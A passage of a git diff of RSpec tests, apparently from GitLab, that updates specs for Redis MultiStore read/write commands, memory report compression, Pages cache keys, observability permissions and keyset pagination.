require 'support/helpers/rails_helpers'
-RSpec.describe Gitlab::InstrumentationHelper do
+RSpec.describe Gitlab::InstrumentationHelper, :clean_gitlab_redis_repository_cache, :clean_gitlab_redis_cache,
+ feature_category: :scalability do
using RSpec::Parameterized::TableSyntax
describe '.add_instrumentation_data', :request_store do
@@ -22,19 +23,42 @@ RSpec.describe Gitlab::InstrumentationHelper do
expect(payload).to include(db_count: 0, db_cached_count: 0, db_write_count: 0)
end
- context 'when Gitaly calls are made' do
- it 'adds Gitaly data and omits Redis data' do
- project = create(:project)
- RequestStore.clear!
- project.repository.exists?
+ shared_examples 'make Gitaly calls' do
+ context 'when Gitaly calls are made' do
+ it 'adds Gitaly and Redis data' do
+ project = create(:project)
+ RequestStore.clear!
+ project.repository.exists?
- subject
+ subject
- expect(payload[:gitaly_calls]).to eq(1)
- expect(payload[:gitaly_duration_s]).to be >= 0
- expect(payload[:redis_calls]).to be_nil
- expect(payload[:redis_duration_ms]).to be_nil
+ expect(payload[:gitaly_calls]).to eq(1)
+ expect(payload[:gitaly_duration_s]).to be >= 0
+ # With MultiStore, the number of `redis_calls` depends on whether primary_store
+ # (Gitlab::Redis::Repositorycache) and secondary_store (Gitlab::Redis::Cache) are of the same instance.
+ # In GitLab.com CI, primary and secondary are the same instance, thus only 1 call being made. If primary
+ # and secondary are different instances, an additional fallback read to secondary_store will be made because
+ # the first `get` call is a cache miss. Then, the following expect will fail.
+ expect(payload[:redis_calls]).to eq(1)
+ expect(payload[:redis_duration_ms]).to be_nil
+ end
+ end
+ end
+
+ context 'when multistore ff use_primary_and_secondary_stores_for_repository_cache is enabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: true)
end
+
+ it_behaves_like 'make Gitaly calls'
+ end
+
+ context 'when multistore ff use_primary_and_secondary_stores_for_repository_cache is disabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: false)
+ end
+
+ it_behaves_like 'make Gitaly calls'
end
context 'when Redis calls are made' do
diff --git a/spec/lib/gitlab/memory/reporter_spec.rb b/spec/lib/gitlab/memory/reporter_spec.rb
index 924397ceb4f..64ae740a5d7 100644
--- a/spec/lib/gitlab/memory/reporter_spec.rb
+++ b/spec/lib/gitlab/memory/reporter_spec.rb
@@ -26,15 +26,15 @@ RSpec.describe Gitlab::Memory::Reporter, :aggregate_failures, feature_category:
FileUtils.rm_rf(reports_path)
end
- describe '#run_report', time_travel_to: '2020-02-02 10:30:45 0000' do
+ describe '#run_report', time_travel_to: '2020-02-02 10:30:45 +0000' do
let(:report_duration_counter) { instance_double(::Prometheus::Client::Counter) }
let(:file_size) { 1_000_000 }
let(:report_file) { "#{reports_path}/fake_report.2020-02-02.10:30:45:000.worker_1.abc123.gz" }
-
- let(:input) { StringIO.new }
- let(:output) { StringIO.new }
+ let(:output) { File.read(report_file) }
before do
+ stub_const('Gitlab::Memory::Reporter::COMPRESS_CMD', %w[cat])
+
allow(SecureRandom).to receive(:uuid).and_return('abc123')
allow(Gitlab::Metrics).to receive(:counter).and_return(report_duration_counter)
@@ -44,22 +44,13 @@ RSpec.describe Gitlab::Memory::Reporter, :aggregate_failures, feature_category:
allow(File).to receive(:size).with(report_file).and_return(file_size)
allow(logger).to receive(:info)
-
- stub_gzip
end
shared_examples 'runs and stores reports' do
it 'runs the given report and returns true' do
expect(reporter.run_report(report)).to be(true)
- expect(output.string).to eq('I ran')
- end
-
- it 'closes read and write streams' do
- expect(input).to receive(:close).ordered.at_least(:once)
- expect(output).to receive(:close).ordered.at_least(:once)
-
- reporter.run_report(report)
+ expect(output).to eq('I ran')
end
it 'logs start and finish event' do
@@ -111,39 +102,47 @@ RSpec.describe Gitlab::Memory::Reporter, :aggregate_failures, feature_category:
end
context 'when an error occurs' do
- before do
- allow(report).to receive(:run).and_raise(RuntimeError.new('report failed'))
- end
+ shared_examples 'handles errors gracefully' do
+ it 'logs the error and returns false' do
+ expect(logger).to receive(:info).ordered.with(hash_including(message: 'started'))
+ expect(logger).to receive(:error).ordered.with(
+ hash_including(
+ message: 'failed', error: match(error_message)
+ ))
+
+ expect(reporter.run_report(report)).to be(false)
+ end
+
+ context 'when compression process is still running' do
+ it 'terminates the process' do
+ allow(logger).to receive(:info)
+ allow(logger).to receive(:error)
- it 'logs the error and returns false' do
- expect(logger).to receive(:info).ordered.with(hash_including(message: 'started'))
- expect(logger).to receive(:error).ordered.with(
- hash_including(
- message: 'failed', error: '#<RuntimeError: report failed>'
- ))
+ expect(Gitlab::ProcessManagement).to receive(:signal).with(an_instance_of(Integer), :KILL)
- expect(reporter.run_report(report)).to be(false)
+ reporter.run_report(report)
+ end
+ end
end
- it 'closes read and write streams' do
- allow(logger).to receive(:info)
- allow(logger).to receive(:error)
+ context 'when cause was an error being raised' do
+ let(:error_message) { 'report failed' }
- expect(input).to receive(:close).ordered.at_least(:once)
- expect(output).to receive(:close).ordered.at_least(:once)
+ before do
+ allow(report).to receive(:run).and_raise(RuntimeError.new('report failed'))
+ end
- reporter.run_report(report)
+ it_behaves_like 'handles errors gracefully'
end
- context 'when compression process is still running' do
- it 'terminates the process' do
- allow(logger).to receive(:info)
- allow(logger).to receive(:error)
+ context 'when cause was compression command failing' do
+ let(:error_message) { "StandardError: exit 1: cat:" }
- expect(Gitlab::ProcessManagement).to receive(:signal).with(an_instance_of(Integer), :KILL)
-
- reporter.run_report(report)
+ before do
+ stub_const('Gitlab::Memory::Reporter::COMPRESS_CMD', %w[cat --bad-flag])
end
+
+ it_behaves_like 'handles errors gracefully'
end
end
@@ -191,16 +190,4 @@ RSpec.describe Gitlab::Memory::Reporter, :aggregate_failures, feature_category:
it_behaves_like 'runs and stores reports'
end
end
-
- # We need to stub out the call into gzip. We do this by intercepting the write
- # end of the pipe and replacing it with a StringIO instead, which we can
- # easily inspect for contents.
- def stub_gzip
- pid = 42
- allow(IO).to receive(:pipe).and_return([input, output])
- allow(Process).to receive(:spawn).with(
- "gzip", "--fast", in: input, out: an_instance_of(File), err: an_instance_of(IO)
- ).and_return(pid)
- allow(Process).to receive(:waitpid).with(pid)
- end
end
diff --git a/spec/lib/gitlab/memory/watchdog_spec.rb b/spec/lib/gitlab/memory/watchdog_spec.rb
index 1603dda0c39..0b2f24476d9 100644
--- a/spec/lib/gitlab/memory/watchdog_spec.rb
+++ b/spec/lib/gitlab/memory/watchdog_spec.rb
@@ -98,7 +98,8 @@ RSpec.describe Gitlab::Memory::Watchdog, :aggregate_failures, feature_category:
expect(reporter).to receive(:stopped).once
.with(
memwd_handler_class: handler.class.name,
- memwd_sleep_time_s: sleep_time_seconds
+ memwd_sleep_time_s: sleep_time_seconds,
+ memwd_reason: 'background task stopped'
)
watchdog.call
diff --git a/spec/lib/gitlab/merge_requests/message_generator_spec.rb b/spec/lib/gitlab/merge_requests/message_generator_spec.rb
index 59aaffc4377..ac9a9aa2897 100644
--- a/spec/lib/gitlab/merge_requests/message_generator_spec.rb
+++ b/spec/lib/gitlab/merge_requests/message_generator_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::MergeRequests::MessageGenerator, feature_category: :code_review do
+RSpec.describe Gitlab::MergeRequests::MessageGenerator, feature_category: :code_review_workflow do
let(:merge_commit_template) { nil }
let(:squash_commit_template) { nil }
let(:project) do
diff --git a/spec/lib/gitlab/observability_spec.rb b/spec/lib/gitlab/observability_spec.rb
index 2b1d22d9019..8068d2f8ec9 100644
--- a/spec/lib/gitlab/observability_spec.rb
+++ b/spec/lib/gitlab/observability_spec.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-require 'fast_spec_helper'
+require 'spec_helper'
RSpec.describe Gitlab::Observability do
describe '.observability_url' do
@@ -30,4 +30,39 @@ RSpec.describe Gitlab::Observability do
it { is_expected.to eq(observe_url) }
end
end
+
+ describe '.observability_enabled?' do
+ let_it_be(:group) { build(:user) }
+ let_it_be(:user) { build(:group) }
+
+ subject do
+ described_class.observability_enabled?(user, group)
+ end
+
+ it 'checks if read_observability ability is allowed for the given user and group' do
+ allow(Ability).to receive(:allowed?).and_return(true)
+
+ subject
+
+ expect(Ability).to have_received(:allowed?).with(user, :read_observability, group)
+ end
+
+ it 'returns true if the read_observability ability is allowed' do
+ allow(Ability).to receive(:allowed?).and_return(true)
+
+ expect(subject).to eq(true)
+ end
+
+ it 'returns false if the read_observability ability is not allowed' do
+ allow(Ability).to receive(:allowed?).and_return(false)
+
+ expect(subject).to eq(false)
+ end
+
+ it 'returns false if observability url is missing' do
+ allow(described_class).to receive(:observability_url).and_return("")
+
+ expect(subject).to eq(false)
+ end
+ end
end
diff --git a/spec/lib/gitlab/pages/cache_control_spec.rb b/spec/lib/gitlab/pages/cache_control_spec.rb
index d46124e0e16..dd15aa87441 100644
--- a/spec/lib/gitlab/pages/cache_control_spec.rb
+++ b/spec/lib/gitlab/pages/cache_control_spec.rb
@@ -3,20 +3,23 @@
require 'spec_helper'
RSpec.describe Gitlab::Pages::CacheControl, feature_category: :pages do
- describe '.for_namespace' do
- subject(:cache_control) { described_class.for_namespace(1) }
+ RSpec.shared_examples 'cache_control' do |type|
+ it { expect(subject.cache_key).to match(/pages_domain_for_#{type}_1_*/) }
- it { expect(subject.cache_key).to match(/pages_domain_for_namespace_1_*/) }
+ describe '#clear_cache', :use_clean_rails_redis_caching do
+ before do
+ Rails.cache.write("pages_domain_for_#{type}_1", ['settings-hash'])
+ Rails.cache.write("pages_domain_for_#{type}_1_settings-hash", 'payload')
+ end
- describe '#clear_cache' do
it 'clears the cache' do
expect(Rails.cache)
.to receive(:delete_multi)
.with(
array_including(
[
- "pages_domain_for_namespace_1",
- /pages_domain_for_namespace_1_*/
+ "pages_domain_for_#{type}_1",
+ "pages_domain_for_#{type}_1_settings-hash"
]
))
@@ -25,63 +28,53 @@ RSpec.describe Gitlab::Pages::CacheControl, feature_category: :pages do
end
end
- describe '.for_project' do
- subject(:cache_control) { described_class.for_project(1) }
+ describe '.for_namespace' do
+ subject(:cache_control) { described_class.for_namespace(1) }
- it { expect(subject.cache_key).to match(/pages_domain_for_project_1_*/) }
+ it_behaves_like 'cache_control', 'namespace'
+ end
- describe '#clear_cache' do
- it 'clears the cache' do
- expect(Rails.cache)
- .to receive(:delete_multi)
- .with(
- array_including(
- [
- "pages_domain_for_project_1",
- /pages_domain_for_project_1_*/
- ]
- ))
+ describe '.for_domain' do
+ subject(:cache_control) { described_class.for_domain(1) }
- subject.clear_cache
- end
- end
+ it_behaves_like 'cache_control', 'domain'
end
describe '#cache_key' do
it 'does not change the pages config' do
- expect { described_class.new(type: :project, id: 1).cache_key }
+ expect { described_class.new(type: :domain, id: 1).cache_key }
.not_to change(Gitlab.config, :pages)
end
it 'is based on pages settings' do
access_control = Gitlab.config.pages.access_control
- cache_key = described_class.new(type: :project, id: 1).cache_key
+ cache_key = described_class.new(type: :domain, id: 1).cache_key
stub_config(pages: { access_control: !access_control })
- expect(described_class.new(type: :project, id: 1).cache_key).not_to eq(cache_key)
+ expect(described_class.new(type: :domain, id: 1).cache_key).not_to eq(cache_key)
end
it 'is based on the force_pages_access_control settings' do
force_pages_access_control = ::Gitlab::CurrentSettings.force_pages_access_control
- cache_key = described_class.new(type: :project, id: 1).cache_key
+ cache_key = described_class.new(type: :domain, id: 1).cache_key
::Gitlab::CurrentSettings.force_pages_access_control = !force_pages_access_control
- expect(described_class.new(type: :project, id: 1).cache_key).not_to eq(cache_key)
+ expect(described_class.new(type: :domain, id: 1).cache_key).not_to eq(cache_key)
end
it 'caches the application settings hash' do
expect(Rails.cache)
.to receive(:write)
- .with("pages_domain_for_project_1", kind_of(Set))
+ .with('pages_domain_for_domain_1', kind_of(Set))
- described_class.new(type: :project, id: 1).cache_key
+ described_class.new(type: :domain, id: 1).cache_key
end
end
it 'fails with invalid type' do
expect { described_class.new(type: :unknown, id: nil) }
- .to raise_error(ArgumentError, "type must be :namespace or :project")
+ .to raise_error(ArgumentError, 'type must be :namespace or :domain')
end
end
diff --git a/spec/lib/gitlab/pagination/cursor_based_keyset_spec.rb b/spec/lib/gitlab/pagination/cursor_based_keyset_spec.rb
index 879c874b134..dc62fcb4478 100644
--- a/spec/lib/gitlab/pagination/cursor_based_keyset_spec.rb
+++ b/spec/lib/gitlab/pagination/cursor_based_keyset_spec.rb
@@ -10,6 +10,10 @@ RSpec.describe Gitlab::Pagination::CursorBasedKeyset do
expect(subject.available_for_type?(Group.all)).to be_truthy
end
+ it 'returns true for Ci::Build' do
+ expect(subject.available_for_type?(Ci::Build.all)).to be_truthy
+ end
+
it 'return false for other types of relations' do
expect(subject.available_for_type?(User.all)).to be_falsey
end
@@ -29,6 +33,12 @@ RSpec.describe Gitlab::Pagination::CursorBasedKeyset do
it { is_expected.to be false }
end
+
+ context 'when relation is Ci::Build' do
+ let(:relation) { Ci::Build.all }
+
+ it { is_expected.to be false }
+ end
end
describe '.available?' do
@@ -45,6 +55,20 @@ RSpec.describe Gitlab::Pagination::CursorBasedKeyset do
it 'return false for other types of relations' do
expect(subject.available?(cursor_based_request_context, User.all)).to be_falsey
+ expect(subject.available?(cursor_based_request_context, Ci::Build.all)).to be_falsey
+ end
+ end
+
+ context 'with order-by id desc' do
+ let(:order_by) { :id }
+ let(:sort) { :desc }
+
+ it 'returns true for Ci::Build' do
+ expect(subject.available?(cursor_based_request_context, Ci::Build.all)).to be_truthy
+ end
+
+ it 'returns true for AuditEvent' do
+ expect(subject.available?(cursor_based_request_context, AuditEvent.all)).to be_truthy
end
end
diff --git a/spec/lib/gitlab/pagination/keyset/simple_order_builder_spec.rb b/spec/lib/gitlab/pagination/keyset/simple_order_builder_spec.rb
index 4f1d380ab0a..e85b0354ff6 100644
--- a/spec/lib/gitlab/pagination/keyset/simple_order_builder_spec.rb
+++ b/spec/lib/gitlab/pagination/keyset/simple_order_builder_spec.rb
@@ -92,34 +92,6 @@ RSpec.describe Gitlab::Pagination::Keyset::SimpleOrderBuilder do
end
end
- context "NULLS order given as as an Arel literal" do
- context 'when NULLS LAST order is given without a tie-breaker' do
- let(:scope) { Project.order(Project.arel_table[:created_at].asc.nulls_last) }
-
- it 'sets the column definition for created_at appropriately' do
- expect(column_definition.attribute_name).to eq('created_at')
- end
-
- it 'orders by primary key' do
- expect(sql_with_order)
- .to end_with('ORDER BY "projects"."created_at" ASC NULLS LAST, "projects"."id" DESC')
- end
- end
-
- context 'when NULLS FIRST order is given with a tie-breaker' do
- let(:scope) { Issue.order(Issue.arel_table[:relative_position].desc.nulls_first).order(id: :asc) }
-
- it 'sets the column definition for created_at appropriately' do
- expect(column_definition.attribute_name).to eq('relative_position')
- end
-
- it 'orders by the given primary key' do
- expect(sql_with_order)
- .to end_with('ORDER BY "issues"."relative_position" DESC NULLS FIRST, "issues"."id" ASC')
- end
- end
- end
-
context "NULLS order given as as an Arel node" do
context 'when NULLS LAST order is given without a tie-breaker' do
let(:scope) { Project.order(Project.arel_table[:created_at].asc.nulls_last) }
diff --git a/spec/lib/gitlab/rack_attack_spec.rb b/spec/lib/gitlab/rack_attack_spec.rb
index 7ba4eab50c7..960a81b8c9d 100644
--- a/spec/lib/gitlab/rack_attack_spec.rb
+++ b/spec/lib/gitlab/rack_attack_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe Gitlab::RackAttack, :aggregate_failures do
allow(fake_rack_attack).to receive(:cache).and_return(fake_cache)
allow(fake_cache).to receive(:store=)
- fake_rack_attack.const_set('Request', fake_rack_attack_request)
+ fake_rack_attack.const_set(:Request, fake_rack_attack_request)
stub_const("Rack::Attack", fake_rack_attack)
end
diff --git a/spec/lib/gitlab/redis/duplicate_jobs_spec.rb b/spec/lib/gitlab/redis/duplicate_jobs_spec.rb
index be20e6dcdaf..4d46a567032 100644
--- a/spec/lib/gitlab/redis/duplicate_jobs_spec.rb
+++ b/spec/lib/gitlab/redis/duplicate_jobs_spec.rb
@@ -14,16 +14,6 @@ RSpec.describe Gitlab::Redis::DuplicateJobs do
describe '#pool' do
subject { described_class.pool }
- before do
- redis_clear_raw_config!(Gitlab::Redis::SharedState)
- redis_clear_raw_config!(Gitlab::Redis::Queues)
- end
-
- after do
- redis_clear_raw_config!(Gitlab::Redis::SharedState)
- redis_clear_raw_config!(Gitlab::Redis::Queues)
- end
-
around do |example|
clear_pool
example.run
diff --git a/spec/lib/gitlab/redis/multi_store_spec.rb b/spec/lib/gitlab/redis/multi_store_spec.rb
index 0e7eedf66b1..f198ba90d0a 100644
--- a/spec/lib/gitlab/redis/multi_store_spec.rb
+++ b/spec/lib/gitlab/redis/multi_store_spec.rb
@@ -25,7 +25,9 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
let_it_be(:instance_name) { 'TestStore' }
let_it_be(:multi_store) { described_class.new(primary_store, secondary_store, instance_name) }
- subject { multi_store.send(name, *args) }
+ subject do
+ multi_store.send(name, *args)
+ end
before do
skip_feature_flags_yaml_validation
@@ -108,34 +110,93 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
end
end
+ # rubocop:disable RSpec/MultipleMemoizedHelpers
context 'with READ redis commands' do
+ subject do
+ multi_store.send(name, *args, **kwargs)
+ end
+
let_it_be(:key1) { "redis:{1}:key_a" }
let_it_be(:key2) { "redis:{1}:key_b" }
let_it_be(:value1) { "redis_value1" }
let_it_be(:value2) { "redis_value2" }
let_it_be(:skey) { "redis:set:key" }
+ let_it_be(:skey2) { "redis:set:key2" }
+ let_it_be(:smemberargs) { [skey, value1] }
+ let_it_be(:hkey) { "redis:hash:key" }
+ let_it_be(:hkey2) { "redis:hash:key2" }
+ let_it_be(:zkey) { "redis:sortedset:key" }
+ let_it_be(:zkey2) { "redis:sortedset:key2" }
+ let_it_be(:hitem1) { "item1" }
+ let_it_be(:hitem2) { "item2" }
let_it_be(:keys) { [key1, key2] }
let_it_be(:values) { [value1, value2] }
let_it_be(:svalues) { [value2, value1] }
-
- where(:case_name, :name, :args, :value, :block) do
- 'execute :get command' | :get | ref(:key1) | ref(:value1) | nil
- 'execute :mget command' | :mget | ref(:keys) | ref(:values) | nil
- 'execute :mget with block' | :mget | ref(:keys) | ref(:values) | ->(value) { value }
- 'execute :smembers command' | :smembers | ref(:skey) | ref(:svalues) | nil
- 'execute :scard command' | :scard | ref(:skey) | 2 | nil
+ let_it_be(:hgetargs) { [hkey, hitem1] }
+ let_it_be(:hmgetval) { [value1] }
+ let_it_be(:mhmgetargs) { [hkey, hitem1] }
+ let_it_be(:hvalmapped) { { "item1" => value1 } }
+ let_it_be(:sscanargs) { [skey2, 0] }
+ let_it_be(:sscanval) { ["0", [value1]] }
+ let_it_be(:sscan_eachval) { [value1] }
+ let_it_be(:sscan_each_arg) { { match: '*1*' } }
+ let_it_be(:hscan_eachval) { [[hitem1, value1]] }
+ let_it_be(:zscan_eachval) { [[value1, 1.0]] }
+ let_it_be(:scan_each_arg) { { match: 'redis*' } }
+ let_it_be(:scan_each_val) { [key1, key2, skey, skey2, hkey, hkey2, zkey, zkey2] }
+
+ # rubocop:disable Layout/LineLength
+ where(:case_name, :name, :args, :value, :kwargs, :block) do
+ 'execute :get command' | :get | ref(:key1) | ref(:value1) | {} | nil
+ 'execute :mget command' | :mget | ref(:keys) | ref(:values) | {} | nil
+ 'execute :mget with block' | :mget | ref(:keys) | ref(:values) | {} | ->(value) { value }
+ 'execute :smembers command' | :smembers | ref(:skey) | ref(:svalues) | {} | nil
+ 'execute :scard command' | :scard | ref(:skey) | 2 | {} | nil
+ 'execute :sismember command' | :sismember | ref(:smemberargs) | true | {} | nil
+ 'execute :exists command' | :exists | ref(:key1) | 1 | {} | nil
+ 'execute :exists? command' | :exists? | ref(:key1) | true | {} | nil
+ 'execute :hget command' | :hget | ref(:hgetargs) | ref(:value1) | {} | nil
+ 'execute :hlen command' | :hlen | ref(:hkey) | 1 | {} | nil
+ 'execute :hgetall command' | :hgetall | ref(:hkey) | ref(:hvalmapped) | {} | nil
+ 'execute :hexists command' | :hexists | ref(:hgetargs) | true | {} | nil
+ 'execute :hmget command' | :hmget | ref(:hgetargs) | ref(:hmgetval) | {} | nil
+ 'execute :mapped_hmget command' | :mapped_hmget | ref(:mhmgetargs) | ref(:hvalmapped) | {} | nil
+ 'execute :sscan command' | :sscan | ref(:sscanargs) | ref(:sscanval) | {} | nil
+
+ # we run *scan_each here as they are reads too
+ 'execute :scan_each command' | :scan_each | nil | ref(:scan_each_val) | ref(:scan_each_arg) | nil
+ 'execute :sscan_each command' | :sscan_each | ref(:skey2) | ref(:sscan_eachval) | {} | nil
+ 'execute :sscan_each w block' | :sscan_each | ref(:skey) | ref(:sscan_eachval) | ref(:sscan_each_arg) | nil
+ 'execute :hscan_each command' | :hscan_each | ref(:hkey) | ref(:hscan_eachval) | {} | nil
+ 'execute :hscan_each w block' | :hscan_each | ref(:hkey2) | ref(:hscan_eachval) | ref(:sscan_each_arg) | nil
+ 'execute :zscan_each command' | :zscan_each | ref(:zkey) | ref(:zscan_eachval) | {} | nil
+ 'execute :zscan_each w block' | :zscan_each | ref(:zkey2) | ref(:zscan_eachval) | ref(:sscan_each_arg) | nil
end
+ # rubocop:enable Layout/LineLength
- before(:all) do
+ before do
primary_store.set(key1, value1)
primary_store.set(key2, value2)
- primary_store.sadd?(skey, value1)
- primary_store.sadd?(skey, value2)
+ primary_store.sadd?(skey, [value1, value2])
+ primary_store.sadd?(skey2, [value1])
+ primary_store.hset(hkey, hitem1, value1)
+ primary_store.hset(hkey2, hitem1, value1, hitem2, value2)
+ primary_store.zadd(zkey, 1, value1)
+ primary_store.zadd(zkey2, [[1, value1], [2, value2]])
secondary_store.set(key1, value1)
secondary_store.set(key2, value2)
- secondary_store.sadd?(skey, value1)
- secondary_store.sadd?(skey, value2)
+ secondary_store.sadd?(skey, [value1, value2])
+ secondary_store.sadd?(skey2, [value1])
+ secondary_store.hset(hkey, hitem1, value1)
+ secondary_store.hset(hkey2, hitem1, value1, hitem2, value2)
+ secondary_store.zadd(zkey, 1, value1)
+ secondary_store.zadd(zkey2, [[1, value1], [2, value2]])
+ end
+
+ after do
+ primary_store.flushdb
+ secondary_store.flushdb
end
RSpec.shared_examples_for 'reads correct value' do
@@ -157,7 +218,7 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
end
it 'fallback and execute on secondary instance' do
- expect(secondary_store).to receive(name).with(*args).and_call_original
+ expect(secondary_store).to receive(name).with(*expected_args).and_call_original
subject
end
@@ -181,7 +242,7 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
context 'when fallback read from the secondary instance raises an exception' do
before do
- allow(secondary_store).to receive(name).with(*args).and_raise(StandardError)
+ allow(secondary_store).to receive(name).with(*expected_args).and_raise(StandardError)
end
it 'fails with exception' do
@@ -192,7 +253,7 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
RSpec.shared_examples_for 'secondary store' do
it 'execute on the secondary instance' do
- expect(secondary_store).to receive(name).with(*args).and_call_original
+ expect(secondary_store).to receive(name).with(*expected_args).and_call_original
subject
end
@@ -208,6 +269,8 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
with_them do
describe name.to_s do
+ let(:expected_args) { kwargs&.present? ? [*args, { **kwargs }] : Array(args) }
+
before do
allow(primary_store).to receive(name).and_call_original
allow(secondary_store).to receive(name).and_call_original
@@ -215,7 +278,7 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
context 'when reading from the primary is successful' do
it 'returns the correct value' do
- expect(primary_store).to receive(name).with(*args).and_call_original
+ expect(primary_store).to receive(name).with(*expected_args).and_call_original
subject
end
@@ -231,7 +294,7 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
context 'when reading from primary instance is raising an exception' do
before do
- allow(primary_store).to receive(name).with(*args).and_raise(StandardError)
+ allow(primary_store).to receive(name).with(*expected_args).and_raise(StandardError)
allow(Gitlab::ErrorTracking).to receive(:log_exception)
end
@@ -245,9 +308,10 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
include_examples 'fallback read from the secondary store'
end
- context 'when reading from primary instance return no value' do
+ context 'when reading from empty primary instance' do
before do
- allow(primary_store).to receive(name).and_return(nil)
+ # this ensures a cache miss without having to stub primary store
+ primary_store.flushdb
end
include_examples 'fallback read from the secondary store'
@@ -256,7 +320,7 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
context 'when the command is executed within pipelined block' do
subject do
multi_store.pipelined do |pipeline|
- pipeline.send(name, *args)
+ pipeline.send(name, *args, **kwargs)
end
end
@@ -266,7 +330,7 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
2.times do
expect_next_instance_of(Redis::PipelinedConnection) do |pipeline|
- expect(pipeline).to receive(name).with(*args).once.and_call_original
+ expect(pipeline).to receive(name).with(*expected_args).once.and_call_original
end
end
@@ -276,7 +340,7 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
if params[:block]
subject do
- multi_store.send(name, *args, &block)
+ multi_store.send(name, *expected_args, &block)
end
context 'when block is provided' do
@@ -297,6 +361,115 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
it_behaves_like 'secondary store'
end
+
+ context 'when use_primary_and_secondary_stores feature flag is disabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
+ end
+
+ context 'when using secondary store as default' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'executes only on secondary redis store', :aggregate_errors do
+ expect(secondary_store).to receive(name).with(*expected_args).and_call_original
+ expect(primary_store).not_to receive(name).with(*expected_args).and_call_original
+
+ subject
+ end
+ end
+
+ context 'when using primary store as default' do
+ it 'executes only on primary redis store', :aggregate_errors do
+ expect(primary_store).to receive(name).with(*expected_args).and_call_original
+ expect(secondary_store).not_to receive(name).with(*expected_args).and_call_original
+
+ subject
+ end
+ end
+ end
+ end
+ end
+ end
+ # rubocop:enable RSpec/MultipleMemoizedHelpers
+
+ context 'with nested command in block' do
+ let(:skey) { "test_set" }
+ let(:values) { %w[{x}a {x}b {x}c] }
+
+ before do
+ primary_store.set('{x}a', 1)
+ primary_store.set('{x}b', 2)
+ primary_store.set('{x}c', 3)
+
+ secondary_store.set('{x}a', 10)
+ secondary_store.set('{x}b', 20)
+ secondary_store.set('{x}c', 30)
+ end
+
+ subject do
+ multi_store.mget(values) do |v|
+ multi_store.sadd(skey, v)
+ multi_store.scard(skey)
+ v # mget receiving block returns the last line of the block for cache-hit check
+ end
+ end
+
+ RSpec.shared_examples_for 'primary instance executes block' do
+ it 'ensures primary instance is executing the block' do
+ expect(primary_store).to receive(:send).with(:mget, values).and_call_original
+ expect(primary_store).to receive(:send).with(:sadd, skey, %w[1 2 3]).and_call_original
+ expect(primary_store).to receive(:send).with(:scard, skey).and_call_original
+
+ expect(secondary_store).not_to receive(:send).with(:mget, values).and_call_original
+ expect(secondary_store).not_to receive(:send).with(:sadd, skey, %w[1 2 3]).and_call_original
+ expect(secondary_store).not_to receive(:send).with(:scard, skey).and_call_original
+
+ subject
+ end
+ end
+
+ context 'when using both stores' do
+ context 'when primary instance is default store' do
+ it_behaves_like 'primary instance executes block'
+ end
+
+ context 'when secondary instance is default store' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ # multistore read still favours the primary store
+ it_behaves_like 'primary instance executes block'
+ end
+ end
+
+ context 'when using 1 store only' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
+ end
+
+ context 'when primary instance is default store' do
+ it_behaves_like 'primary instance executes block'
+ end
+
+ context 'when secondary instance is default store' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'ensures only secondary instance is executing the block' do
+ expect(secondary_store).to receive(:send).with(:mget, values).and_call_original
+ expect(secondary_store).to receive(:send).with(:sadd, skey, %w[10 20 30]).and_call_original
+ expect(secondary_store).to receive(:send).with(:scard, skey).and_call_original
+
+ expect(primary_store).not_to receive(:send).with(:mget, values).and_call_original
+ expect(primary_store).not_to receive(:send).with(:sadd, skey, %w[10 20 30]).and_call_original
+ expect(primary_store).not_to receive(:send).with(:scard, skey).and_call_original
+
+ subject
+ end
end
end
end
@@ -316,9 +489,17 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
end
end
+ # rubocop:disable RSpec/MultipleMemoizedHelpers
context 'with WRITE redis commands' do
+ let_it_be(:ikey1) { "counter1" }
+ let_it_be(:ikey2) { "counter2" }
+ let_it_be(:iargs) { [ikey2, 3] }
+ let_it_be(:ivalue1) { "1" }
+ let_it_be(:ivalue2) { "3" }
let_it_be(:key1) { "redis:{1}:key_a" }
let_it_be(:key2) { "redis:{1}:key_b" }
+ let_it_be(:key3) { "redis:{1}:key_c" }
+ let_it_be(:key4) { "redis:{1}:key_d" }
let_it_be(:value1) { "redis_value1" }
let_it_be(:value2) { "redis_value2" }
let_it_be(:key1_value1) { [key1, value1] }
@@ -331,27 +512,50 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
let_it_be(:skey_value1) { [skey, [value1]] }
let_it_be(:skey_value2) { [skey, [value2]] }
let_it_be(:script) { %(redis.call("set", "#{key1}", "#{value1}")) }
-
+ let_it_be(:hkey1) { "redis:{1}:hash_a" }
+ let_it_be(:hkey2) { "redis:{1}:hash_b" }
+ let_it_be(:item) { "item" }
+ let_it_be(:hdelarg) { [hkey1, item] }
+ let_it_be(:hsetarg) { [hkey2, item, value1] }
+ let_it_be(:mhsetarg) { [hkey2, { "item" => value1 }] }
+ let_it_be(:hgetarg) { [hkey2, item] }
+ let_it_be(:expireargs) { [key3, ttl] }
